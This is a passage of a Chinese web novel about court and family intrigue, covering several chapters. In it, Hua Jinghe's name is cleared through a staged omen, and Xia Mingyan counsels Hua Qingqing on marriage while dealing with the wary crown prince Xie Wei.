“华二公子,我们现在不看画儿,我们看锦鲤。你看,你快看,这些锦鲤都死了,你这些画是不是有什么不为人知的用意啊,这……会不会招来灾祸?” “是啊,二公子,你最近也太不顺了些,吕家的事儿还没完全过去,这又着火、死锦鲤的,你该不会是沾上什么不干净的东西了吧?还是赶紧找个高人给你看看吧。” “别说的那么玄乎,你看到的,未必就是真的……说不准还是那吕家娘子的事儿,在喊冤呢。” 虽说元京府和张礼岁都还了华靖和清白,甚至李玦也已经按照张礼岁的要求张贴了为华靖和正名的告示,可是依旧有人不信。 只因李玦之前跟夏明月情深意笃、青梅竹马的形象实在太好了,很多人都不相信李玦会跟简直一无是处还满身污名的吕大姑娘有了孩子。 他们甚至不相信是何夫人使人害的吕大姑娘,说对付一个出贱入良的商贾之女根本用不着这样的手段……他们母子说不准就是帮人顶罪的。 再或是,李玦和何夫人的确不清白,可谁也不能说华靖和就清白了啊。万一李玦也跟吕大姑娘有那种关系,也在逼死她这件事上参了一脚呢? 华靖和听了连忙解释:“胡说,你们不要在这里信口开河!我跟吕大姑娘只是多年前有过两面之缘,别的什么都没有!” “什么不祥之兆,不过是火势大,烟气也大,把锦鲤都熏死了,可跟我的仙子、仙宫没有关系!” 第348章吉兆加身 华靖和明显气虚,华靖离和夏明嫣都没有把具体的计划告诉他,他装这名士的派头着实心虚。 旁边那闹事儿的便道了:“什么被烟熏死的,烟飘到那边都没多少了。你画这么多仙子……是假的吧?我看你就是那万花丛中过的浪子,专挑那些美貌女子作画。” “你倒是该说说,是不是你对这些画里的女子做了什么,又隐瞒下来,亏了阴德,才遭了天谴!” “胡说八道什么,我画这些是有神仙托梦,我是受了神仙的指引,并不是现实中的女子。你不要自己心里肮脏,就看别人也肮脏。” 华靖和正了正被身旁的人推搡过程中有些乱了的衣襟,挺直了身板儿,这番话他说得理直气壮,还刻意带了些神思飘渺的感觉。 他的样貌、身形本就不比李玦差多少,身上有穿着夏明嫣特意找人为他裁制的衣裳,那气场一下子就出来了七分, “我这画中都是圣洁之物、贞烈清雅之人,另外我也不止画这些仙女、仙宫,我还有山水、兽类之作,可惜都已付之一炬,你们未能查看罢了。” “我是华府公子,无心仕途,此生惟愿与书画为伴,愿寄身山水之间,断然不会有那等污糟心思。没想到大家相识一场,你们竟然用此等眼光看我,可悲,可叹!” “相识多年,你们既然都不信我,还以为我是那等轻狂、害人一生之人,我活着还有什么意思!让我死了吧,我要以死明志!” 华靖和说完闷着头地要往河里跳,他给那小厮使了眼色,示意他拦着自己。 可这时是夜里,周围来救火的有打灯笼的也有拿火把的,大家手头照亮的灯火大小不一,灯笼罩的颜色也各有不同,以至于照出来的光斑驳不一,把人的脸和周围的景物都照花了。 小厮愣是没看明白他的眼色,反而以为他遇上这这么大的事儿了,不能连累华家,他是真的想证明自己的清白的。 当然,小厮不可能让他去死,但这河水并不深,也就是大半个人那么深,想来他一个男子掉下去也没什么。 呃,就是得弄一身死鱼,但只要别人信了华靖和是清白的,就没什么了。 小厮心里清楚,那些画细察下去,华靖和就算不上清白了,趁着现在还在人前,要赶紧证明清白、演好这场戏才行。 小厮一咬牙,非但没拦着华靖和,直接趁乱把被一众人等试图拦住的华靖和推了下去。 这回连闹事儿的人都急了,他们是来给华靖和泼脏水的,要毁华靖和的名声把李玦丢了的面子、里子找回来的,他们的目的是让世人误会华靖和遭了报应了,从侧面说明他在吕家的事儿上也不清白。 可这些人清楚自己不是来害命的,那些锦鲤都死了,想都知道是有人投毒了。 鱼有毒,水里也有毒,华靖和这样摔下去,身上沾了毒水不说,再灌进去几口水,万一闹出人命来,这件事就不好收场了…… 于是,这些人拼命地想要拦住一只脚已经踩空、半个身子向后倒去的华靖和,终究没能顶得住小厮那“致命”一推。 华靖和先掉了下去,然后岸边要拦着他的人下饺子似的连着掉下去好几个。不大宽的人工河一下子挤了十几个人,互相扶着才站了起来。 那些个闹事儿的知道锦鲤被下了毒,大喊大叫地往岸上爬,嘴里惊恐地叫喊着,岸上的人边拉他们上来,边不解地问他们到底是怎么回事。 “快,快拉我上去,赶快去找水。要干净的水,能找多少找多少。” “啊?太平缸里的水都救火用了,再要水得让人去挑……这河里都是水,也不怎么脏,你们就凑和凑和。” “你懂什么,快找水,水里有毒,鱼都是被毒死的。快啊,我也要中毒了,会死的啊。” “啊啊啊,怎么就掉水里了,这药能药死鱼而已,应该不会要人的命吧?可是,会不会得什么怪病……快,快,我要去看郎中。” “啊?毒,什么毒?这不是华二公子行事不端才遭了天谴,出现了不祥之兆吗?” 这最后一问过后,好多人都恍然大悟,果然不是什么不祥之兆啊,这是有人刻意为之。 鱼这种东西养在人工开掘的池子里的,遇上天气不好或是有时候喂食儿喂多了,全都死了都很正常。 这些人却如此笃定锦鲤是被毒死的,还担心自己沾了这些用来药鱼的毒自己也要不行了,这要不是笃定这毒的药性很烈,怎么会说出这种话! 人群中当即有人喊着要不要报官,也开始试图控制住刚才那几个挑事儿的人,这时才有人想起得赶紧把华靖和捞上来。 谁知这些人连带着那小厮回身往那河里一看,都愣住了,华靖和正异常淡定地站在河水了,他的衣裳、头脸都湿透了,人们却并不觉得他狼狈。 华靖和正试图用手捧起这时已经顺着水流漂过来的锦鲤,那锦鲤竟然用力摆动了几下鱼尾,噗通一声又跳回了水里。 华靖和忽然就笑了起来,他像个孩子似的大笑大叫起来: “没死,锦鲤活了,都活了!这不是不祥之兆,是吉兆,是吉兆啊!” 众人这才去看,那些锦鲤居然都活了过来,甚至游过来的那些还围着华靖和打转。 这还真是吉兆,而且这吉兆是被华靖和引来的。 这火着得蹊跷,可凶有凶的说辞,吉有吉的说辞,刚刚还说是天谴,现在也可以说是凤凰涅槃,浴火重生! 当即就有人恭喜起华靖和来,都说吕家那事儿一看他就是清白的,说他之前的牢狱之灾是老天爷要给他重任前的磨砺,这些锦鲤就是上天派下来给他,证明他的画大有前途的! 华靖和哈哈大笑着,他是真没想到兄嫂会这样安排,这简直太有意思了,而且周围的人也很有意思,这么快就都变了脸了,现在他又成了吉兆加身的人了! 第349章都在变好 华靖和就此“一战成名”,那锦鲤通过只有死物能过的机关游到了华靖和院子前的河里,在那么多人的注目下,在火光之中,映衬着画中那些在月光下泛着清辉的美人儿、仙台楼阁…… 很快他就成了元京最近炙手可热的风雅之士,其实他这个人也是有几把刷子的,什么都没学精,但什么都会一点,算是一个小杂家。 真让华靖和去科举、入仕,他不会做出多大的成绩,还会在尔虞我诈之中磨平棱角、陷入苦闷,况且华家已经以武勋立世,就算再出个文臣,也不能再有大成就了,他实在没必要去讨那个嫌疑。 他又不缺银子花,只要没有大的行差踏错,做个雅士,写写诗文、做做画,再倒腾点银楼、古玩的买卖,这辈子定是能过得舒心惬意的。 不过,华靖离倒是没想让这个弟弟彻底地做个雅士,他让华靖和开了一个教十岁以下的孩子识字、作画的书舍。 这里面不教科考取仕那一套的东西,教的都是些实用的,譬如识字、算账,作画也是画一些器物和衣裳样子的图样,只收贫家子弟,为的就是让他们将来能有个营生。 这书舍不要束脩,只需要自带干粮,学的好的,会在十岁左右的时候推荐到华家或是别人家的铺子、作坊里去当学徒。 这种能通点文墨、学问又不是太高还能有些教养的孩子,这些地方很喜欢用。 毕竟学问高的,人家要求也高,而且学问多了却做着粗浅的活儿,容易生出不平之气,这些铺子、作坊也留不住这样的人。 反倒是这种只是会些基本的、年纪又小的孩童,收去做学徒最合适,尤其是这中间还多了华家这一层的担保。 有些孩子条件不错的,还会转到城外的庄子上去学武,教他们的就是那些军中退下来的转而做了武师傅的,这些孩子将来能去做护院、镖师。 这些就算是华靖和在做善事了,也给他积累了名望,他这名士当的也算是那种只会附庸风雅的,更重要的是把他跟李玦那种只会吟风弄月的人给区分开了。 这日华靖和参与了如意楼举办的书画宴赏,他在台上提笔作画,那潇洒、狂放的样子引得台下一众文人墨客惊呼。 而远一些的地方,在高处观赏的雅房里走出四个人,正是华靖离、夏明嫣、华青青还有本该在宫里的太子谢维。 华靖离和一身常服的谢维在一边说着话,华青青则指着高台上还在作画的华靖和道: “嫂嫂,我二哥他现在都能在这么多人面前作画了?我听说现在满元京的人都在说二哥的画好,人还和善,元京府衙还要送匾额给他呢。” 华青青现在比原先话多了,在目睹了华靖和跟吕家的事儿之后,人也成熟了许多,不再像从前那样战战兢兢的、担不起事儿了。 华青青生母早逝,董氏虽出身小官家,可自小跟着当县丞的父亲开荒、屯田,就没受过大家闺秀的教养,又哪里懂得教女儿了。 尤其董氏自己因为行事做派不够大家闺秀的标准,还因为习惯和眼光上的问题时常被高门诟病,她便更加要求华青青守规矩,凡事都要一板一眼的,千万不能行差踏错。 现在又很少有好的女师,那些像楚家这般累世公卿的高门倒是养着自家呃女师,可像华家这样的根本就没有专门的女师,更加没有能把华青青教成一个挥洒自如的高门淑女的女师。 以至于华青青被压制得过了,但凡做一点事情,她就要想着是不是和规矩,她有没有做错什么,就变得畏畏缩缩的了。 其实夏明嫣很明白这种感觉,因为她在卢阳的时候,很多时候都跟现在的华青青有同样的感觉。 这种事儿的根源还是在没有实践经验上,譬如管家,上一世的夏明嫣只听女师讲该如何管,并没有实际操作过,等到了端侯府实际要用的时候,她就总怀疑自己做得对不对。 可那时候她身边就没有人会提醒她有没有做对的人,她就会担心等到了何夫人面前再论对错,万一错了就只能受到严厉的责罚,那她前头就只能一遍一遍地确认她做得到底对不对。 华青青的情况也类似,华家内宅相对简单,董氏又不会教华青青,甚至华家也很少跟其他高门走动,弄得华青青很多事儿都只在书本上看过,真到了事儿上她就变得战战兢兢的,不知如何是好了。 看在别人眼里就是她怯弱、没有主见,最近夏明嫣是真的把她当作大人对待了,府里的事儿都不瞒着她,管家理账也都让她在旁边看着,碰上简单地就让她自己动手。 现如今夏明嫣在元京高门里也走动起来了,谁都知道因为各府给护城河修缮腾地方这事儿是她牵头的,都愿意跟她往来。 夏明嫣去各府走动的时候只要没有什么不方便的,就会带上她,还有华靖和这雅士的名声一闯出来,也有人开始邀请华青青去参加自家的宴赏了。 现在已经是秋天了,正是赏菊的时候,华青青这几天已经去了四场赏菊宴了,也有那么两三个愿意跟她往来的闺中友人了。 夏明嫣看着台上的华靖和,意有所指地道:“你二哥本来就有才华,只是从前因为种种原因,他没有意识到自己有这些长处,家里也不理解他,这才耽误了。” “其实现在这样才适合他,你看,他做的是他想做而擅长的事儿,而且虽说家里的产业、分润都少不了他的,可他身为男子,能自食其力,心里总归是不一样的。” “他底气足了,心里就更稳当了,行事也就更洒脱了,如今是更有名士风范了呢。” 华靖和现在浑身上下都有一种油然而生的光芒,放佛整个人都亮堂起来了,看起来气度都变了。 原本元京那些没出嫁的姑娘们都把眼睛放在李玦身上,这些人好像最近才发现华靖和也很好,还比李玦更平易近人,做的事儿也有很多更实际,更能惠及百姓。 这样的人才学上未必比得上李玦,可论心善,他一定比李玦高一筹。 第350章华青青和谢维 李玦从前以在世潘安的形象著称,加上偶有一些较为惊艳的诗句出现,赢得了元京一众女子的芳心。 可要说他这形象也有一个重要的弱点,就是有人说他这人阴柔有余、阳刚不足,倒不是说人们要求他像习武之人那般刚强,就是这个吧,没干过什么实在的事儿,大多数人跟他都比较有距离感。 所以这次吕家的事儿一出,在公堂之上他如何被自己妻子抓得披头散发还连自己母亲都护不住的情形被传扬出去之后,他原先精心打造的形象毁了,而吃软饭、软脚虾的名声却一步一步显现出来了。 反观华靖和就不一样了,从前他名声不显,现在因为在书画上有些才学而扬了名,他非但没有因为自己出身华家而骄傲自满,反而更加虚心地像人求教,还做起了善事来。 尤其这善事还不止是华靖离给他安排的教那些贫家子弟习字和做工的技能,他之前还调制出了一些他自己特有的颜料,因为他开了自己书舍、画舍,连带着也做些书画修复的活儿,便索性打算再开一间专做颜料的作坊。 这下子他干脆带了几个弟子一起,平日里专门钻研这些东西。现在颜料这东西虽不是稀罕东西,可也算常见之物,要是出了好看的新色了,就跟织染的染料一样,那是要被追捧的。 这东西也是赚钱的活计,不仅如此,就跟做墨的人家一样,都是有世家的,这要是学会了,将来就是当个匠人,也能养活一大家子人了。 而华靖和选学徒和弟子,都是从贫苦人家里有天分还勤快的孩子里选,就那有点积攒的人家想送个子弟来学,他都是不收的,这一下子更是为他赢得了一个办实事的美名。 华青青点头道:“还是兄长和嫂嫂教得好,现在二哥也不游手好闲了。就是卜小娘,她嘴上虽然还说二哥这样可惜了,可整个人都比从前平和了。” “我现在就在想,早晚有一天,我也会找到自己的位子的。我跟二哥一样都姓华,又都是庶出,他行,我也一定行。” 夏明嫣也笑着点头肯定她:“那是,我们青青不比别人差。不过你可不能重蹈你二哥的覆辙,你要是现在还不知道自己想做什么,什么适合自己,那便多做尝试。” “可别像你二哥从前那样,不知道就等着,人一闲下来就难免做下些荒唐事儿。你跟你二哥都是好孩子,可好孩子也禁不住被身边别有用心的人利用。” “但你要是把工夫放在尝试上,只要你做的事儿本身没有错,就算这件事最终不是你想要做的,也积累了经验了。这样的话那些游手好闲又想把你往歪路上引的人,也不会想花心思在这种事儿上。” “他们见你忙着,身边还有跟你一样认真做事的人作伴,他们不好动手,自己就先走了大半了。而你在做这些事儿的时候,也锻炼了自己的心智,之后再想做什么的时候,神思也会变得更清明、更有主见。” 不知道自己想做什么的时候,要是就那样空等着混,最终只会蹉跎了时光。 不是夏明嫣见不得这些闺中女子过清闲日子,其实女子这辈子就没几天清闲日子好过,在娘家时不多学点儿东西,还打算到婆家去之后让人家教你么? 这娘家就像书院,是学东西的地方,可婆家就像是铺子,你一旦过去了,就要立刻施展开了,没人给你学的时间。 很多时候,婆家会让新媳妇慢慢学、慢慢练,可实际上呢,不过是嘴上说的好听罢了,稍微做得不好一些,用不了多久就要招骂、受罚了。 人家娶个媳妇回去,就是要生儿育女和管理家事的,不是让新媳妇过去上学的,婆母也不是娘家,没那么多包容你的。 至于说可以不嫁人,立个女户或者入了道观、佛寺出家也行,你以为那样就不用学了么? 当然不是,其实那样要学的更多,那是要自己去顶门立户的,什么都得会,就是出了家了,观里、寺里的大小师父也都不见得是好相与的,你要是不会与人相处,一样过不好。 而且华青青前头已经耽误得够多了,她这个年纪已经要开始张罗婚事了,不抓紧点又能怎样。 董氏现在很信任夏明嫣,尤其是邓澜进门之后,她简直恨不得把整个钩翊侯府的中馈立刻交给夏明嫣,现在连华青青和华靖和的婚事都想交给她张罗了。 中馈夏明嫣是接了,依旧是请了邓澜帮她管,让邓澜人尽其用,也能表示一下“妻妾”和睦,实际上她是想把更多的精力放在南边儿的事儿上。 而华青青和华靖和的婚事,她暂时没接,却也答应帮忙看看,万一有合适的,再帮着牵线。 这样以来,华青青的教养就更要提上日程了,夏明嫣笑了笑继续道, “你是华家的女儿,想尝试什么咱们都是供得起的,你就是想去外头的女塾读书,我们也支持。你要是有什么想尝试的,尽管跟我说。” “只要这个事儿没问题,也不危险,我就支了人手跟银两让你去试,你可别跟我客气。你就是有别的心思,想有个前程,只要这事儿可行,我也会帮你的。” 夏明嫣后头的话明显意有所指,她还故意往前头正跟华靖离闲聊的谢维身上看了一眼,故意引着华青青也看过去。 上一世夏明月在进家庙之前,主动插手了华青青的教养,中间定是变着法儿的折腾华青青了,这姑娘的身子便有些弱,平日里更是比现在还不爱说话。 夏明嫣那时候听李姑母说过几句,说是因为这个,更没人愿意跟华青青议亲了,华青青的婚事也正因为这样被耽误了下来。 这一耽误便是五年,那时候南疆正式乱了起来,华靖离出征在即,而当今圣上病危,眼看着等不到华靖离凯旋了。 为了稳住华靖离,给华家吃一颗定心丸,圣上便在华靖离出征前,定下了谢维和华青青的婚事。 第351章眼前的登天梯 从那日圣旨赐婚之后,华青青本来已经以为自己的婚事要耽搁到当老姑娘的地步了,却不想一夜之间成了太子妃。 毫无准备而在人情世故方面尤其欠缺的华青青就那样进了东宫,她册封太子妃的仪式是盛大的,可是东宫对她来说是冰冷的,就像一个冰窖。 谢维之前虽然没有妻妾,可按照规矩,在太子妃入宫前三天,两位太子良娣已然入宫,随后不久谢维还有了别的姬妾。 华青青清楚,谢维心里没有她,她在入宫前华叶峰和董氏就提点过她,不是她嫁给了谢维,是整个华家通过她这条纽带绑在了大恒皇室这条船上。 华青青不求恩宠,更不求感情,她要的只是能够安安稳稳地坐在太子妃的位置上做一尊泥塑,她恨不得谢维和整个东宫都看不到她,可是人不招风惹雨,风雨也自会到来。 那些个良娣、姬妾,从小到大就是教着往上爬的,而华青青从来都没有想过会有进宫的这一天,她根本就不知道如何在宫里生活。 从前在她身边的那些女子,只有卜小娘是从宫里出来的女官,可卜小娘并不是她的亲娘,什么都没教过她。就算要教,卜小娘自己都出宫嫁人多少年了,也早就不知道当时的宫里会是什么样的景况了。 华青青斗不过东宫的那些女人,也得不到谢维的一点好感,谢维对她冷冰冰的,甚至连个笑脸都没有。 谢维不仅对华青青毫无感情,还因为忌惮华靖离的关系,对华青青没有一点善意。在他看来,华家拥兵自重、尾大不掉,就是他登上龙椅之后的头号绊脚石。 华青青就像是华靖离硬塞给他的,甚至在他眼里,她就是华靖离的眼线,他如何还会对她好,分明就恨不得她能自己死掉,还怪不到他头上…… 华青青顺着夏明嫣的目光看过去,看到那目光的终点谢维时,她的眼睛就像被火烫了一样,火速地避开了。 华青青惊讶地道:“嫂嫂的意思是……让我像卜小娘从前那样进宫当宫女?我不行的,真的不行……我不是不想吃那个苦,是我应付不来宫里的人。” “嫂嫂,我知道,比起其他高门女子,我木讷、胆小,也没什么本事。不说别人了,我是比不了嫂嫂的,就是李世子夫人,别看她在公堂上那般做派,我也是比不得的。” “她至少有底气、豁的出去,真要是吃了亏,她敢打自己的婆母和夫君,敢为了自己的息怒、情绪拼命,可是我……我做不出来。” 华青青的脸上有着一抹坚毅,要是有人把她怎么样了,逼急了,她能想到的只有一死以证清白。 可是死了,她就什么都做不了了,夏明月这样的人虽说行事不好看,可无疑还有更多的回旋空间,这一点她比不了。 再有一点华青青没有说,华家从实力上来说,的确比楚家略逊一筹,可也只是差了一点而已,并没有差太多。 要是华家肯向楚家、夏家帮夏明月那样为她撑腰,她得到的支持不会比夏明月得到的少多少,可是华家不会那般帮她。 这跟她是不是庶女没有关系,就算她是董氏亲生的,华家也不会为了顺着她的心意就助纣为虐,让她如此任性妄为。 她性子又是这般,家里又不会给她为所欲为的本钱,她想在宫里活得好,怎么可能呢? 夏明嫣从华青青欲言又止的目光中看出了端倪,她有些意外,也有些惊喜,没想到华青青对自己的认识这般清醒。 上一世纵使华青青没有受到任何提点,她对自己的认识没有这般清晰,也不会一点都意识不到问题所在的,只是她意识到了也改变不了什么。 不过,能意识到问题就是好的,处在低位的人要想爬上去,第一步要做的就是面对现实。 尽管现实很多时候就像一把利刃,尤其是在看清自己的时候,通常会更痛。 华青青已经能面对自己了,将来再有别的进益那便不难了。 夏明嫣轻摇了下头,低声道:“我和你兄长怎么会让你去做宫女,我是说,你也不小了,该想想自己的婚事了。诶,你别忙着害羞。” “我跟婆母不一样,我也算不得你的长辈,你我之间就不必弄那些有的没的了。这世间的规矩何其可笑,做姑娘的时候,想想自己的亲事就得被人说成没羞没臊。” “可是从姑娘到为人妇,不过差着一场婚仪和一个洞房花烛夜,仅仅一天一夜的工夫,就要求我们跟从前不一样了。” “原先羞臊的,也不用羞臊了,原先做不到的,也一下子都能做到了,你觉得可能吗?羞臊是装给外人看的,是要让他们说你体面,可是面对自己人,你得让大家给你实惠的东西。” “要是你自己都遮遮掩掩的,别人也没多少工夫去猜你想要什么。尤其你要是已经出嫁了,必然不可能总是往娘家跑,一来二去的,耽误的工夫算谁的?” 华青青先还神情严肃地听着,听到后来便被夏明嫣的表情引得笑了:“是,那我可不敢跟嫂嫂客气了。” “这就对了,你兄长就你这么一个妹妹,你要是有什么想法,我们也定是要尽力成全你的。” 夏明嫣又看了谢维一眼,“你兄长所处的位子尴尬,宫里对他再信任也有不放心的一面,而这元京的其他高门也不缺想要拉拢他的。” “华家如今有两个选择,一是迎合他们,跟他们联姻,那么你和二弟的婚事……若是想往上走,是有机会的,就是你眼前的这位殿下,你若是想,也未必就不行。” “二是,华家继续忠心却保持中立,你跟二弟的婚事,只要不是太有违世俗和原则,我和你兄长还是能成全你们的。想好了,跟我说?” 谢维就在眼前,夏明嫣的暗示已经不算是暗示了,华青青浑身一哆嗦,想到了一种可能。 第352章换个人拉拢 华青青当然不敢想自己能当太子妃,她想的是家里是不是有送她给太子当妾室的打算……这是万万不行的,她哪里应付得了那么些人和事儿。 华青青心里慌急了,好在她看夏明嫣的神情不像是非要把她送进东宫的样子,她连忙道: “嫂嫂,我不行,我……没那个本事,我要是去了那种地方,我会连累家里的,我就想……想嫁一个性子温和的读书人。” 最后几个字说得声音比蚊子还小,不过可算是把心底里的想法给说出来了。 夏明嫣促狭地笑了笑,在她袖子上轻捏了一下:“你啊,这不是挺好的么,心里有什么想说的就说出来。这书生不书生的,以后再说,知道你没有那样的心思,就好办了。” “嫂嫂,您又打趣我。” 华青青到底还是脸红了,她心里想的也不见得就是书生,她就是想寻一个性子和暖、华家又允许她嫁的人。 二人正说着,华靖离和谢维走了过来,华靖离见她们正说笑着,他眉眼里也多了几分笑意: “说什么呢?靖和这儿还得一阵子,殿下不能停留太久,还得去集上看看,咱们陪殿下走走。” 谢维出宫是体察民情的,自然不能把工夫全花在华靖和这儿,出来还得去坊市上看看。 毕竟元京是否安定、繁荣,还得看看坊市上的东西多不多,价钱如何,百姓们是不是觉得贵了,有没有人闹事儿…… 夏明嫣笑着看了一眼华青青,顺势岔开话:“这不是在说二弟现在整个人都开朗了,也找到事儿做了,你们看他现在多招人喜欢。” 谢维也凑了上来,态度十分客气,还笑脸盈盈的,他今年只有十六岁,跟夏明嫣差不多大,比华青青大了不到两岁,还是个少年郎,看起来还带着稚气。 从前谢维对着华靖离的时候鼻孔都是朝天的,他最是忌惮这个比自己大不了太多却战功赫赫的呃钩翊侯。 北疆连年征战,如今渐趋平稳,可华家的势力和宗族也在这几十年里扎下根来,早就有人在谢维面前说华靖离是实际意义上的“北疆王”,这样的人迟早拥兵自重、尾大不掉。 而谢维的太子之位也是这几年才稳固下来的,就算是现在二皇子谢芝那边也还不消停,尤其是在谢维这个年纪本身是很难有作为的,他的生母跟谢芝的生母又同在妃位,他在出身上也没有什么突出的地方,导致他时常都感觉危机重重的,看谁都像是要对他不利似的。 这里面不得不说的就是谢芝的生母周贵妃,是如今的镇北大将军同母所出的妹妹,周家又是北疆豪族,这周大将军跟华靖离多年来合作默契,私下里也是忘年好友。 如此以来,就是谢维想不疑心华靖离都难,在他看来,华靖离随时都可能倒向谢芝那一边,跟他争夺太子之位。 而华靖离偏偏是一个抓不住把柄的人,这些年有许多人都试图找到他拥兵自重、纵容兵士欺压百姓的证据,可最终都一无所获。 不仅如此,华靖离这个人还没什么空子可钻,他不贪钱财、不好女色,还与人为善,与他共事过的那些人纵使有攻讦他的时候,可私底下对他也都是敬佩的。 这样一个人曾经让谢维感受到了恐惧,奈何他还年少,更是没有上过沙场,军中的人脉哪里是那般好积攒的,要不然他早就要扶植自己的人了。 也是在这种情况下,谢维考虑过扶植李玦重建李家军,这里面有个原因就是那些年长的和像华靖离这样有威望的武将看不上在战事上没有任何资历的他,而且这样的人他的父皇也一直盯着呢,他一时间都还难以拉拢。 要是完全从新人里选人,武将和文臣还不一样,一个真正的新人、没有家族或绝对的权力做依托,几年之内是很难拉拔起来的,而李玦却不一样。 端侯府虽然败落了,可在南疆的根基还在,李玦又是一个会煽动人心、知道进退的,背后有楚、夏两家做依托,他虽然没有华靖离的雄才大略,跟其他的新晋武将比,要扶植他还是容易些的。 可是还没等谢维动手,李玦这边就出事了,大事儿都是没有,可是小事不断,从李玦娶亲开始就每一件顺利的。 现如今李玦不仅自己背上了吃软饭、攀附裙带、持家不正的骂名,他的生母何夫人还成了杀人夺子的凶犯了,这可如何是好? 其实谢维不是那种在德行上差一分都不行的人,身为太子,虽然年少,可他不是不懂权谋之人,他知道水至清则无鱼的道理。 可正是因为那些大多数都是不大不小的事儿,李玦母子连这些事儿都遮掩不住,不就正说明了这两个人能力上有问题吗? 这做人啊,要不就别作恶,要是做了,那就得无毒不丈夫,得能遮掩得下去,至少这个人得在为他所用的这段时间里保证自家不被人抓住把柄。 这端侯府就太不堪了,因为一个脱贱入良的商贾之女和一个外面的孩子,竟然让自己栽了这么大的跟头。 现在别说元京的百姓了,就是满朝文武,谁不拿端侯府的这些人当笑话看,就是夏庸都上折子自请教女无方之罪了…… 这样的人谢维想要扶植都觉得丢人,他是太子,是要脸面的! 而就是在这个时候,华靖离从成亲开始一反常态地变得行事柔和起来,做的、说的不再只是那几件大事了,对兄弟、家人也更加维护,他身上出现的那些个把柄,反而让他显得更有“人味儿”了。 尤其是华靖离最近进宫时与谢维发生过几场长谈之后,谢维对华靖离这个人大为改观,一直说从前看错了人,其实华靖离才是那个他该深交的,而且不用刻意拉拢,华靖离就很用户他。 此时听到夏明嫣在夸赞华靖和,谢维也凑上来说:“嫂夫人说的是,我看靖和兄弟很有才华,要是他愿意,去御画苑供职也不成问题。” “还有青青姑娘,要是觉得族学里无聊,不妨去宫里走走,常新公主那儿正要选伴读呢,我可以代为引荐。” 第353章没有威胁的人 御画苑是培养皇家画师的地方,培养出来的人也不全是给皇室作画的,还有一部分会去户部、工部下面的衙门,负责绘制舆图和各式图纸。 华靖和要是能到那儿去历练两年也不错,既能精进技艺,又能多跟他有同样爱好的人相处,华家原就不认识什么有名的画师,华靖和到那儿去刚好可以积攒些人脉,也能多交几个志同道合的朋友。 可是华青青这儿就不太好办了,要是华青青是夏明嫣甚至夏明月这样的人尚且还试一试,可是要是把华青青送到公主身边去,估么着她只能受气。 华青青这性子刚刚才抬了点儿头,可不能再被压回去了。 夏明嫣跟华靖离交换了眼色,华靖离便替一双弟妹做了决定:“这是殿下的好意,臣无论如何都不好推辞。臣这二弟从前并没有正经拜师学过,师父东边拜一个、西边拜一个的,是该好好磨砺几年。” “臣先替二弟谢过殿下了,回去就让他收拾收拾,去御画苑点卯。至于青妹妹,她胆子小,就不到公主殿下面前碍眼了,她也是时候学学如何管家理事了,就让她跟在内子身边吧。” 谢维见自己的善意对方吃下去一半儿,也就心满意足了,他也没多想,华青青毕竟是女子,他一个男子去管女子的事也就是客套一下。 不过,谢维瞧着华青青这副战战兢兢的样子,倒是跟他身边从前的一位小宫女很像,那宫女两年前生了重病,他让太医去给她治病都没治好,眼下不由得就去对华青青亲近了些。 谢维竟像是对他的姐妹那般对华青青道:“没关系,公主身边的确拘束了些,不去也罢。女子么,不用参加科考,也不用承担家业之重,也不见得要学那么多。” “不过再有半个月就要入冬了,之后宫里和御苑少不得要办几场宴赏,你可一定带着你嫂嫂一块儿来。大家一起骑马、打猎,之后再一块儿烤肉,一定很快活。” 这话是对华青青说的,夏明嫣故意没有替她接话,而是满怀期待地看着她,让她自己回答。 这么大个姑娘家了,就算将来只是嫁入一个殷实人家,凭着她跟华家的血脉联系,也会有很多机会跟高门中人打交道的。 人在长期受到某种打压的情况下会委屈不能自持,甚至会想不开,可是偶尔一次,以华青青的聪慧,还是能经得住的。 这样大不了她每次被伤到了之后,就回府里去缓一缓,下一次再去时便又有了新的进益,将来就能担得起事儿的。 华青青察觉到了身边两道鼓励的目光,大着胆子上前向着谢维行了礼,客气而恭谨地道: “皇家宴赏臣女本是去不得的,多谢殿下邀请臣女,给了臣女长见识的机会。臣女愿意去,刚好这些日子臣女跟嫂嫂学了些配置香料的手艺,别的上面倒是用不了,烤肉用倒是可以试一试。” “是吗?那很好,孤就等着尝尝华姑娘的手艺。”谢维客气地道,眼底里也有了真正的笑意。 四人又说了几句,谢维就带着护卫去坊市了,夏明嫣和华靖离则带着华青青回了府。 华青青回屋之后,夏明嫣和华靖离都松了口气,回了止戈园,二人才敢商量这件事。 夏明嫣拍着心口道:“吓死我了,我是真怕青妹妹会有什么想法,我也怕这位殿下逃不出宿命,对咱们妹妹有什么想法。” “早就说过了,你就是杞人忧天。上辈子要不是为了拴住我,赐婚的旨意来得突然,他们是万万不会再一起的。” 华靖离嘴上说着不担心华青青和谢维有瓜葛,还是看得见的松了一口气, “那时候我要是抗旨,圣上和太子都不会放心我和华家军去南疆,箭在弦上不得不发,只能认下这桩婚事。” “那时也怪我,我原想着要是青青胜任不了太子妃的位子,等我从南疆回来,就拿着军功求太子与她和离。要是觉得和离有伤皇室颜面,废妃也成,接了青青去道观住几年,之后报个病亡,送回北疆去隐姓埋名就是了。” “谁知道南疆的战事会拖了近十年才了,这中间青青就一直在东宫。也是我忽视了太子的心思,我越是写信劝他善待青青,他心里怕是更加忌惮。” 谢维这样的少年帝王就像是长了半大的愣头青,最是逆反的时候,华靖离越是显得自己冷静自持,在谢维眼里他越是以长辈自居、倚老卖老。 这种时候别说华靖离了,就是谢维的亲爹,也就是先帝,说了什么,谢维都得在心里骂上几句,再迫于权势不得不遵从。 偏偏以华靖离和谢维的年纪差距,华靖离最多算是谢维的兄长,还算不得他的长辈,这就更加加重了谢维心里的不平。 哼,凭什么华靖离就能让他忌惮,明明没大他多少,就会用他的威势压制他。他堂堂天子,凭什么受这份气? 相对的,李玦那样表面温润如玉、什么都顺着他的,还没有妹妹做他太子妃的,也就更可靠了。 夏明嫣叹了口气,脸上带着笑道:“你啊,就是从小跟二弟不亲,才拿不准该如何对待他这个年纪的人。你得跟他像友人一样相处,不能把他当成小孩子看待。” “你有什么事儿,你跟圣上商量,也得跟他商量。有些事儿他自己也没主意,选哪个不选哪个的,最后还是要听你的意见。可你之前问过他了,他就觉得不一样了。” “你从前就是太直来直去了,人啊,要学会迂回,也得适当地享受一下,让别人觉得你也是凡夫俗子、是有烟火气的,这样他们才会对你放心。” 不是做得越好就越能让人放心的,得让人觉得放心,觉得你对他们没有威胁,跟你在一起能感到安全才行。 